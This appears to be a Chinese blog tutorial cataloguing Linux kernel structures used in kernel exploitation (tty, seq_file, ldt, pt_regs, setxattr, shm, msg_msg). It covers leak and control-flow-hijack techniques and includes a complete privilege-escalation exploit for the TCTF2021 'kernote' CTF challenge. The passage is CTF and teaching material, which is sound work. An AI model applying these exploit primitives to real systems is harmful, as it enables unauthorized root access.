linux kernel pwn 常用结构体

news2025/1/3 3:52:16

tty 设备结构体

tty 设备在 /dev 下的一个伪终端设备 ptmx

tty_struct(kmalloc-1k | GFP_KERNEL_ACCOUNT)

tty_struct 定义如下 。

/* tty magic number */
#define TTY_MAGIC        0x5401

struct tty_struct {
    int    magic;
    ...
    const struct tty_operations *ops;
    ...
}

分配/释放

alloc_tty_struct 函数中进行 tty_struct 的分配。

struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
  struct tty_struct *tty;

  tty = kzalloc(sizeof(*tty), GFP_KERNEL_ACCOUNT);
  if (!tty)
  	return NULL;

通常情况下我们选择打开 /dev/ptmx 来在内核中分配一个 tty_struct 结构体,相应地当我们将其关闭时该结构体便会被释放回 slab/slub 中。

魔数

tty_struct 的魔数为 0x5401,位于该结构体的开头,我们可以利用对该魔数的搜索以锁定该结构体

tty_operations

内核中 tty 设备的 ops 函数表。

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    unsigned int (*write_room)(struct tty_struct *tty);
    unsigned int (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    int  (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
    int  (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

数据泄露

tty_operations 在内核中的数据段,通过 uaf + tty 堆喷泄露 tty_struct 中的 ops 指针即可泄露内核基址。

劫持内核执行流

与 glibc 中的 vtable 攻击类似,通过劫持 tty_struct 中的 ops 指针到伪造的 tty_operations

seq_file 相关

序列文件接口(Sequence File Interface)是针对 procfs 默认操作函数每次只能读取一页数据从而难以处理较大 proc 文件的情况下出现的,其为内核编程提供了更为友好的接口。

seq_file

为了简化操作,在内核 seq_file 系列接口中为 file 结构体提供了 private data 成员 seq_file 结构体,该结构体定义于 /include/linux/seq_file.h 当中,如下:

struct seq_file {
    char *buf;
    size_t size;
    size_t from;
    size_t count;
    size_t pad_until;
    loff_t index;
    loff_t read_pos;
    struct mutex lock;
    const struct seq_operations *op;
    int poll_event;
    const struct file *file;
    void *private;
};

seq_fileseq_open 时被分配,但是由于从单独的 seq_file_cache 中分配,因此很难利用。

void __init seq_file_init(void)
{
	seq_file_cache = KMEM_CACHE(seq_file, SLAB_ACCOUNT|SLAB_PANIC);
}

int seq_open(struct file *file, const struct seq_operations *op)
{
	...
	p = kmem_cache_zalloc(seq_file_cache, GFP_KERNEL);

seq_operations(kmalloc-32 | GFP_KERNEL_ACCOUNT)

该结构体定义于 /include/linux/seq_file.h 当中,只定义了四个函数指针,如下:

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

分配/释放

seq_operations 分配过程存在如下调用链:

stat_open()        <--- stat_proc_ops.proc_open
    single_open_size()
        single_open()

其中 single_open 函数定义如下:

int single_open(struct file *file, int (*show)(struct seq_file *, void *),
        void *data)
{
    struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
    int res = -ENOMEM;

    if (op) {
        op->start = single_start;
        op->next = single_next;
        op->stop = single_stop;
        op->show = show;
        res = seq_open(file, op);
        if (!res)
            ((struct seq_file *)file->private_data)->private = data;
        else
            kfree(op);
    }
    return res;
}
EXPORT_SYMBOL(single_open);

注意到 stat_open() 为 procfs 中的 stat 文件对应的 proc_ops 函数表中 open 函数对应的默认函数指针,在内核源码 fs/proc/stat.c 中有如下定义:

static const struct proc_ops stat_proc_ops = {
    .proc_flags    = PROC_ENTRY_PERMANENT,
    .proc_open    = stat_open,
    .proc_read_iter    = seq_read_iter,
    .proc_lseek    = seq_lseek,
    .proc_release    = single_release,
};

static int __init proc_stat_init(void)
{
    proc_create("stat", 0, NULL, &stat_proc_ops);
    return 0;
}
fs_initcall(proc_stat_init);

即该文件对应的是 /proc/id/stat 文件,那么只要我们打开 proc/self/stat 文件便能分配到新的 seq_operations 结构体。

对应地,在定义于 fs/seq_file.c 中的 single_release()stat 文件的 proc_ops 的默认 release 指针,其会释放掉对应的 seq_operations 结构体,故我们只需要关闭文件即可释放该结构体。

数据泄露

通过泄露 seq_operations 结构体的内容可以泄露内核基址。

劫持内核执行流

当我们 read 一个 stat 文件时,内核会调用其 proc_opsproc_read_iter 指针,其默认值为 seq_read_iter() 函数,定义于 fs/seq_file.c 中,注意到有如下逻辑:

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
    struct seq_file *m = iocb->ki_filp->private_data;
    //...
    p = m->op->start(m, &m->index);
    //...

即其会调用 seq_operations 中的 start 函数指针,那么我们只需要控制 seq_operations->start 后再读取对应 stat 文件便能控制内核执行流

ldt_struct 与 modify_ldt 系统调用

ldt_struct: kmalloc-16(slub)/kmalloc-32(slab)

在内核中与 LDT 相关联的结构体为 ldt_struct 。该结构体定义于内核源码 arch/x86/include/asm/mmu_context.h 中,如下:

struct ldt_struct {
    /*
     * Xen requires page-aligned LDTs with special permissions.  This is
     * needed to prevent us from installing evil descriptors such as
     * call gates.  On native, we could merge the ldt_struct and LDT
     * allocations, but it's not worth trying to optimize.
     */
    struct desc_struct    *entries;
    unsigned int        nr_entries;

    /*
     * If PTI is in use, then the entries array is not mapped while we're
     * in user mode.  The whole array will be aliased at the addressed
     * given by ldt_slot_va(slot).  We use two slots so that we can allocate
     * and map, and enable a new LDT without invalidating the mapping
     * of an older, still-in-use LDT.
     *
     * slot will be -1 if this LDT doesn't have an alias mapping.
     */
    int            slot;
};

modify_ldt 系统调用可以用来操纵对应进程的 ldt_struct

SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
        unsigned long , bytecount)
{
    int ret = -ENOSYS;

    switch (func) {
    case 0:
        ret = read_ldt(ptr, bytecount);
        break;
    case 1:
        ret = write_ldt(ptr, bytecount, 1);
        break;
    case 2:
        ret = read_default_ldt(ptr, bytecount);
        break;
    case 0x11:
        ret = write_ldt(ptr, bytecount, 0);
        break;
    }
    /*
     * The SYSCALL_DEFINE() macros give us an 'unsigned long'
     * return type, but tht ABI for sys_modify_ldt() expects
     * 'int'.  This cast gives us an int-sized value in %rax
     * for the return code.  The 'unsigned' is necessary so
     * the compiler does not try to sign-extend the negative
     * return codes into the high half of the register when
     * taking the value from int->long.
     */
    return (unsigned int)ret;
}

分配(GFP_KERNEL):modify_ldt 系统调用 - write_ldt()

write_ldt() 定义于 /arch/x86/kernel/ldt.c中,我们主要关注如下逻辑:

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
    //...
    error = -ENOMEM;
    new_ldt = alloc_ldt_struct(new_nr_entries);
    //...
}

我们注意到在 write_ldt() 当中会使用 alloc_ldt_struct() 函数来为新的 ldt_struct 分配空间,随后将之应用到进程,alloc_ldt_struct() 函数定义于 arch/x86/kernel/ldt.c 中,我们主要关注如下逻辑:

/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
    struct ldt_struct *new_ldt;
    unsigned int alloc_size;

    if (num_entries > LDT_ENTRIES)
        return NULL;

    new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...

即我们可以通过 modify_ldt 系统调用来分配新的 ldt_struct

数据泄露:modify_ldt 系统调用 - read_ldt()

read_ldt() 定义于 /arch/x86/kernel/ldt.c中,我们主要关注如下逻辑:

static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
    if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
        retval = -EFAULT;
        goto out_unlock;
    }
//...
out_unlock:
    up_read(&mm->context.ldt_usr_sem);
    return retval;
}

在这里会直接调用 copy_to_user 向用户地址空间拷贝数据,我们不难想到的是若是能够控制 ldt->entries 便能够完成内核的任意地址读,由此泄露出内核数据 。

开启 KASLR 的情况下首先需要泄露内核基址,再考虑进行任意地址读。

这里我们要用到 copy_to_user() 的一个特性:对于非法地址,其并不会造成 kernel panic,只会返回一个非零的错误码,我们不难想到的是,我们可以多次修改 ldt->entries 并多次调用 modify_ldt()爆破内核 .text 段地址与 page_offset_base,若是成功命中,则 modify_ldt 会返回给我们一个非负值 。

但直接爆破代码段地址并非一个明智的选择,由于 Hardened usercopy 的存在,对于直接拷贝代码段上数据的行为会导致 kernel panic。

/*
 * Validates that the given object is:
 * - not bogus address
 * - fully contained by stack (or stack frame, when available)
 * - fully within SLAB object (or object whitelist area, when available)
 * - not in kernel text
 */
void __check_object_size(const void *ptr, unsigned long n, bool to_user)
{
    ...
	/* Check for bad heap object. */
	check_heap_object(ptr, n, to_user);

	/* Check for object in kernel to avoid text exposure. */
	check_kernel_text_object((const unsigned long)ptr, n, to_user);
}

#ifdef CONFIG_HARDENED_USERCOPY
extern void __check_object_size(const void *ptr, unsigned long n,
					bool to_user);

static __always_inline void check_object_size(const void *ptr, unsigned long n,
					      bool to_user)
{
	if (!__builtin_constant_p(n))
		__check_object_size(ptr, n, to_user);
}
#else
static inline void check_object_size(const void *ptr, unsigned long n,
				     bool to_user)
{ }
#endif /* CONFIG_HARDENED_USERCOPY */

static __always_inline bool
check_copy_size(const void *addr, size_t bytes, bool is_source)
{
    ...
	check_object_size(addr, bytes, is_source);
	return true;
}

static __always_inline unsigned long __must_check
copy_to_user(void __user *to, const void *from, unsigned long n)
{
	if (likely(check_copy_size(from, n, true)))
		n = _copy_to_user(to, from, n);
	return n;
}

因此现实场景中我们很难直接爆破代码段加载基地址,但是在 page_offset_base + 0x9d000 的地方存储着 secondary_startup_64 函数的地址,因此我们可以直接将 ldt_struct->entries 设为 page_offset_base + 0x9d000 之后再通过 read_ldt() 进行读取即可泄露出内核代码段基地址。

虽然在线性映射区域可以任意地址读,但是由于 check_heap_object 的检查,当读取长度超过其中指向的 object 范围则会触发 kernel panic(前面爆破 page_offset_base 可以通过 hardened usercopy 检查是因为每次读 8 字节一定在 object 范围)。

ldt 是一个与进程全局相关的东西,因此现在让我们将目光放到与进程相关的其他方面上——观察 fork 系统调用的源码,我们可以发现如下执行链:

sys_fork()
    kernel_clone()
        copy_process()
            copy_mm()
                dup_mm()
                    dup_mmap()
                        arch_dup_mmap()
                            ldt_dup_context()

ldt_dup_context() 定义于 arch/x86/kernel/ldt.c 中,注意到如下逻辑:

/*
 * Called on fork from arch_dup_mmap(). Just copy the current LDT state,
 * the new task is not running, so nothing can be installed.
 */
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
    //...

    memcpy(new_ldt->entries, old_mm->context.ldt->entries,
           new_ldt->nr_entries * LDT_ENTRY_SIZE);

       //...
}

在这里会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程,是完全处在内核中的操作,因此不会触发 hardened usercopy 的检查,我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可。
在这里插入图片描述

例题:TCTF2021-FINAL kernote

附件下载链接

0x6666 功能将 object 指针保存在 note 中。

    if ( (_DWORD)cmd == 0x6666 )                // set note
    {
      v11 = -1LL;
      if ( v4 > 0xF )
        goto LABEL_15;
      note = buf[v4];
    }

0x6668 功能释放 object 同时将 buf 中存放的 object 指针清空。

  if ( (_DWORD)cmd == 0x6668 )                  // delete
  {
    v11 = -1LL;
    if ( v4 <= 0xF )
    {
      v10 = buf[v4];
      if ( v10 )
      {
        kfree(v10);
        v11 = 0LL;
        buf[v4] = 0LL;
      }
    }
    goto LABEL_15;
  }

0x6669 功能修改 object 的前 8 字节,这里是根据 note 访问 object 因此存在 UAF 。

  if ( (_DWORD)cmd == 0x6669 )                  // edit
  {
    v11 = -1LL;
    if ( note )
    {
      *note = v4;
      v11 = 0LL;
    }
    goto LABEL_15;
  }

因此通过 ldt 泄露内核基址之后利用 seq_operations + pt_regs 写 rop 实现提权。

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <sched.h>
#include <stdbool.h>

size_t init_cred = 0xffffffff8266b780;
size_t commit_creds = 0xffffffff810c9dd0;
size_t pop_rdi_ret = 0xffffffff81075c4c;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0;
size_t add_rsp_0x198_ret = 0xffffffff810b3f9b;
int kernote_fd, seq_fd;

void chunk_set(int index) {
    ioctl(kernote_fd, 0x6666, index);
}

void chunk_add(int index) {
    ioctl(kernote_fd, 0x6667, index);
}

void chunk_delete(int index) {
    ioctl(kernote_fd, 0x6668, index);
}

void chunk_edit(size_t data) {
    ioctl(kernote_fd, 0x6669, data);
}

void bind_core(int core) {
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

#define SECONDARY_STARTUP_64 0xFFFFFFFF81000040
#define LDT_BUF_SIZE  0x8000

static inline void init_desc(struct user_desc *desc) {
    desc->base_addr = 0xff0000;
    desc->entry_number = 0x8000 / 8;
    desc->limit = 0;
    desc->seg_32bit = 0;
    desc->contents = 0;
    desc->limit_in_pages = 0;
    desc->lm = 0;
    desc->read_exec_only = 0;
    desc->seg_not_present = 0;
    desc->useable = 0;
}

size_t ldt_guessing_direct_mapping_area(void *(*ldt_cracker)(void *),
                                        void *cracker_args,
                                        void *(*ldt_momdifier)(void *, size_t),
                                        void *momdifier_args,
                                        uint64_t burte_size) {
    struct user_desc desc;
    uint64_t page_offset_base = 0xffff888000000000 - burte_size;
    uint64_t temp;
    int retval;

    /* init descriptor info */
    init_desc(&desc);

    /* make the ldt_struct modifiable */
    ldt_cracker(cracker_args);
    syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

    /* leak kernel direct mapping area by modify_ldt() */
    while (true) {
        ldt_momdifier(momdifier_args, page_offset_base);
        retval = syscall(SYS_modify_ldt, 0, &temp, 8);
        if (retval > 0) {
            break;
        } else if (retval == 0) {
            printf("[x] no mm->context.ldt!");
            page_offset_base = -1;
            break;
        }
        page_offset_base += burte_size;
    }

    return page_offset_base;
}

void ldt_arbitrary_read(void *(*ldt_momdifier)(void *, size_t),
                        void *momdifier_args, size_t addr, char *res_buf) {
    static char buf[LDT_BUF_SIZE];
    struct user_desc desc;
    int pipe_fd[2];

    /* init descriptor info */
    init_desc(&desc);

    /* modify the ldt_struct->entries to addr */
    ldt_momdifier(momdifier_args, addr);

    /* read data by the child process */
    pipe(pipe_fd);
    if (!fork()) {
        /* child */
        syscall(SYS_modify_ldt, 0, buf, LDT_BUF_SIZE);
        write(pipe_fd[1], buf, LDT_BUF_SIZE);
        exit(0);
    } else {
        /* parent */
        wait(NULL);
        read(pipe_fd[0], res_buf, LDT_BUF_SIZE);
    }

    close(pipe_fd[0]);
    close(pipe_fd[1]);
}

size_t ldt_seeking_memory(void *(*ldt_momdifier)(void *, size_t),
                          void *momdifier_args, uint64_t search_addr,
                          size_t (*mem_finder)(void *, char *), void *finder_args, bool ret_val) {
    static char buf[LDT_BUF_SIZE];

    while (true) {
        ldt_arbitrary_read(ldt_momdifier, momdifier_args, search_addr, buf);
        size_t res = mem_finder(finder_args, buf);
        if (res != -1) {
            return ret_val ? res : res + search_addr;
        }

        search_addr += 0x8000;
    }
}


void *ldt_cracker(void *cracker_args) {
    int index = *(int *) cracker_args;
    chunk_add(index);
    chunk_set(index);
    chunk_delete(index);
}

void *ldt_momdifier(void *momdifier_args, size_t page_offset_base) {
    chunk_edit(page_offset_base);
}

size_t mem_finder(void *finder_args, char *buf) {
    for (int i = 0; i < LDT_BUF_SIZE; i += 8) {
        size_t val = *(size_t *) (buf + i);
        if (val > 0xffffffff81000000 && !((val ^ SECONDARY_STARTUP_64) & 0xFFF)) {
            return val;
        }
    }
    return -1;
}

int main() {
    bind_core(0);
    kernote_fd = open("/dev/kernote", O_RDWR);
    if (kernote_fd < 0) {
        puts("[-] Failed to open kernote.");
    }

    size_t page_offset_base = ldt_guessing_direct_mapping_area(ldt_cracker, (int[]) {0}, ldt_momdifier, NULL, 0x4000000);
    printf("[+] page_offset_base: %p\n", page_offset_base);

    size_t kernel_offset = ldt_seeking_memory(ldt_momdifier, NULL, page_offset_base, mem_finder, NULL, true) - SECONDARY_STARTUP_64;
    printf("[+] kernel offset: %p\n", kernel_offset);

    pop_rdi_ret += kernel_offset;
    init_cred += kernel_offset;
    commit_creds += kernel_offset;
    add_rsp_0x198_ret += kernel_offset;
    swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x8;

    ldt_cracker((int[]) {1});
    seq_fd = open("/proc/self/stat", O_RDONLY);
    chunk_edit(add_rsp_0x198_ret);

    __asm__(
            "mov r15, pop_rdi_ret;"
            "mov r14, init_cred;"
            "mov r13, commit_creds;"
            "mov r12, swapgs_restore_regs_and_return_to_usermode;"
            "mov rbp, 0x5555555555555555;"
            "mov rbx, 0x6666666666666666;"
            "mov r11, 0x7777777777777777;"
            "mov r10, 0x8888888888888888;"
            "mov r9, 0x9999999999999999;"
            "mov r8, 0xaaaaaaaaaaaaaaaa;"
            "mov rcx, 0xbbbbbbbbbbbbbbbb;"
            "xor rax, rax;"
            "mov rdx, 8;"
            "mov rsi, rsp;"
            "mov rdi, seq_fd;"
            "syscall"
            );

    system("/bin/sh");

    return 0;
}

pt_regs 与系统调用相关

linux 系统调用的时候会把所有寄存器依次压入内核栈中形成 pt_regs 结构体,之后就继续执行内核代码。
pt_regs 结构体定义如下:

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

在内核栈上的结构如下:
在这里插入图片描述

由于系统调用前的寄存器的值是用户可控的,这就等于控制了内核栈低区域,也就可以在其中写入 ROP 。之后只需要控制程序执行流,利用一个 add rsp, val 的 gadget 将栈迁移到 布置在 pt_regs 结构体上的 ROP 上就可以完成提权操作。

内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值,这个保护的开启需要 CONFIG_RANDOMIZE_KSTACK_OFFSET=y (默认开启)

diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
 #ifdef CONFIG_X86_64
 __visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
 {
+    add_random_kstack_offset();
     nr = syscall_enter_from_user_mode(regs, nr);

     instrumentation_begin();

setxattr 相关

setxattr 并非一个内核结构体,而是一个系统调用,但在 kernel pwn 当中这同样是一个十分有用的系统调用,利用这个系统调用,我们可以进行内核空间中任意大小的 object 的分配。

任意大小 object 分配(GFP_KERNEL)& 释放

观察 setxattr 源码,发现如下调用链:

SYS_setxattr()
    path_setxattr()
        setxattr()

其中 setattr 函数关键逻辑如下:

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
     size_t size, int flags)
{
    //...
        kvalue = kvmalloc(size, GFP_KERNEL);
        if (!kvalue)
            return -ENOMEM;
        if (copy_from_user(kvalue, value, size)) {

    //,..

    kvfree(kvalue);

    return error;
}

修改结构体

虽然 setxattr 可以分配任意大小的内核空间 object ,但是分配完之后就立即被释放了,起不到利用效果。因此这里需要配合 userfaultfd 将执行过程卡在 copy_from_user 处。
不过在 ctf 中的 kernel pwn 环境中由于其它进程受影响较小,可以直接用 setxattr 来 UAF 修改结构体的内容。

shm_file_data 与共享内存相关

进程间通信(Inter-Process Communication,IPC)即不同进程间的数据传递问题,在 Linux 当中有一种 IPC 技术名为共享内存,在用户态中我们可以通过 shmgetshmatshmctlshmdt 这四个系统调用操纵共享内存。

shm_file_data(kmalloc-32|GFP_KERNEL)

该结构体定义于 /ipc/shm.c 中,如下:

struct shm_file_data {
    int id;
    struct ipc_namespace *ns;
    struct file *file;
    const struct vm_operations_struct *vm_ops;
};

分配:shmat 系统调用

我们知道使用 shmget 系统调用可以获得一个共享内存对象,随后要使用 shmat 系统调用将共享内存对象映射到进程的地址空间,在该系统调用中调用了 do_shmat() 函数,注意到如下逻辑:

long do_shmat(int shmid, char __user *shmaddr, int shmflg,
          ulong *raddr, unsigned long shmlba)
{
//...

    struct shm_file_data *sfd;

//...

    sfd = kzalloc(sizeof(*sfd), GFP_KERNEL);
//...
    file->private_data = sfd;

即在调用 shmat 系统调用时会创建一个 shm_file_data 结构体,最后会存放在共享内存对象文件的 private_data 域中。

使用方法如下:

    int shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
    if (shm_id < 0) {
        puts("[-] shmget failed.");
        exit(-1);
    }
    char *shm_addr = shmat(shm_id, NULL, 0);
    if (shm_addr < 0) {
        puts("[-] shmat failed.");
        exit(-1);
    }

释放:shmdt 系统调用

我们知道使用 shmdt 系统调用用以断开与共享内存对象的连接,观察其源码,发现其会调用 ksys_shmdt() 函数,注意到如下调用链:

SYS_shmdt()
    ksys_shmdt()
        do_munmap()
            remove_vma_list()
                remove_vma()

其中有着这样一条代码:

static struct vm_area_struct *remove_vma(struct vm_area_struct *vma)
{
    struct vm_area_struct *next = vma->vm_next;

    might_sleep();
    if (vma->vm_ops && vma->vm_ops->close)
        vma->vm_ops->close(vma);
    //...

在这里调用了该 vmavm_ops 对应的 close 函数,我们将目光重新放回共享内存对应的 vma 的初始化的流程当中,在 shmat() 中注意到如下逻辑:

long do_shmat(int shmid, char __user *shmaddr, int shmflg,
          ulong *raddr, unsigned long shmlba)
{
//...
sfd = kzalloc(sizeof(*sfd), GFP_KERNEL);
    if (!sfd) {
        fput(base);
        goto out_nattch;
    }

    file = alloc_file_clone(base, f_flags,
              is_file_hugepages(base) ?
                &shm_file_operations_huge :
                &shm_file_operations);

在这里调用了 alloc_file_clone() 函数,其会调用 alloc_file() 函数将第三个参数赋值给新的 file 结构体的 f_op 域,在这里是 shm_file_operationsshm_file_operations_huge,定义于 /ipc/shm.c 中,如下:

static const struct file_operations shm_file_operations = {
    .mmap        = shm_mmap,
    .fsync        = shm_fsync,
    .release    = shm_release,
    .get_unmapped_area    = shm_get_unmapped_area,
    .llseek        = noop_llseek,
    .fallocate    = shm_fallocate,
};

/*
 * shm_file_operations_huge is now identical to shm_file_operations,
 * but we keep it distinct for the sake of is_file_shm_hugepages().
 */
static const struct file_operations shm_file_operations_huge = {
    .mmap        = shm_mmap,
    .fsync        = shm_fsync,
    .release    = shm_release,
    .get_unmapped_area    = shm_get_unmapped_area,
    .llseek        = noop_llseek,
    .fallocate    = shm_fallocate,
};

在这里对于关闭 shm 文件,对应的是 shm_release 函数,如下:

static int shm_release(struct inode *ino, struct file *file)
{
    struct shm_file_data *sfd = shm_file_data(file);

    put_ipc_ns(sfd->ns);
    fput(sfd->file);
    shm_file_data(file) = NULL;
    kfree(sfd);
    return 0;
}

即当我们进行 shmdt 系统调用时便可以释放 shm_file_data 结构体。

    if (shmdt(shm_addr) < 0) {
        puts("[-] shmdt failed.");
    }

数据泄露

  • 内核 .text 段地址

    shm_file_datans 域 和 vm_ops 域皆指向内核的 .text 段中,若是我们能够泄露这两个指针便能获取到内核 .text 段基址。

    • ns 字段通常指向 init_ipc_ns
    • vm_ops 字段通常指向 shmem_vm_ops
  • 内核线性映射区( direct mapping area)

    shm_file_data 的 file 域为一个 file 结构体,位于线性映射区中,若能泄露 file 域则同样能泄漏出内核的“堆上地址” 。

system V 消息队列:内核中的“菜单堆”

在 Linux kernel 中有着一组 system V 消息队列相关的系统调用:

  • msgget:创建一个消息队列
  • msgsnd:向指定消息队列发送消息
  • msgrcv:从指定消息队列接接收消息

当我们创建一个消息队列时,在内核空间中会创建一个 msg_queue 结构体,其表示一个消息队列:

/* one msq_queue structure for each present queue on the system */
struct msg_queue {
	struct kern_ipc_perm q_perm;
	time64_t q_stime;		/* last msgsnd time */
	time64_t q_rtime;		/* last msgrcv time */
	time64_t q_ctime;		/* last change time */
	unsigned long q_cbytes;		/* current number of bytes on queue */
	unsigned long q_qnum;		/* number of messages in queue */
	unsigned long q_qbytes;		/* max number of bytes on queue */
	struct pid *q_lspid;		/* pid of last msgsnd */
	struct pid *q_lrpid;		/* last receive pid */

	struct list_head q_messages;
	struct list_head q_receivers;
	struct list_head q_senders;
} __randomize_layout;

msg_msg & msg_msgseg:近乎任意大小的对象分配

当我们调用 msgsnd 系统调用在指定消息队列上发送一条指定大小的 message 时,在内核空间中会创建这样一个结构体:

/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

msg_queue msg_msg 构成双向链表。
在这里插入图片描述
虽然 msg_queue 的大小基本上是固定的,但是 msg_msg 作为承载消息的本体其大小是可以随着消息大小的改变而进行变动的,去除掉 msg_msg 结构体本身的 0x30 字节的部分(或许可以称之为 header)剩余的部分都用来存放用户数据,因此内核分配的 object 的大小是跟随着我们发送的 message 的大小进行变动的

而当我们单次发送 大于【一个页面大小 - header size】 大小的消息时,内核会额外补充添加 msg_msgseg 结构体,其与 msg_msg 之间形成如下单向链表结构:
在这里插入图片描述
同样地,单个 msg_msgseg 的大小最大为一个页面大小,因此超出这个范围的消息内核会额外补充上更多的 msg_msgseg 结构体。

分配(GFP_KERNEL_ACCOUNT):msgsnd 系统调用

当我们在消息队列上发送一个 message 时,do_msgsnd 首先会调用 load_msg 将该 message 拷贝到内核中。注意这里对 msgszmtype 的检查。

static long do_msgsnd(int msqid, long mtype, void __user *mtext,
		size_t msgsz, int msgflg)
{
	struct msg_queue *msq;
	struct msg_msg *msg;
	int err;
	struct ipc_namespace *ns;
	DEFINE_WAKE_Q(wake_q);

	ns = current->nsproxy->ipc_ns;

	if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
		return -EINVAL;
	if (mtype < 1)
		return -EINVAL;

	msg = load_msg(mtext, msgsz);
    
    //...

load_msg() 最终会调用到 alloc_msg() 分配所需的空间。

struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len);

alloc_msg 根据数据长度创建 msg_msg 以及 msg_msgseg 构成的单向链表。

static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;

	alen = min(len, DATALEN_MSG);
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	if (msg == NULL)
		return NULL;

	msg->next = NULL;
	msg->security = NULL;

	len -= alen;
	pseg = &msg->next;
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();

		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	return msg;

out_err:
	free_msg(msg);
	return NULL;
}

释放/读取:msgrcv

msgrcv 系统调用有如下调用链:

SYS_msgrcv()
	ksys_msgrcv()
		do_msgrcv()

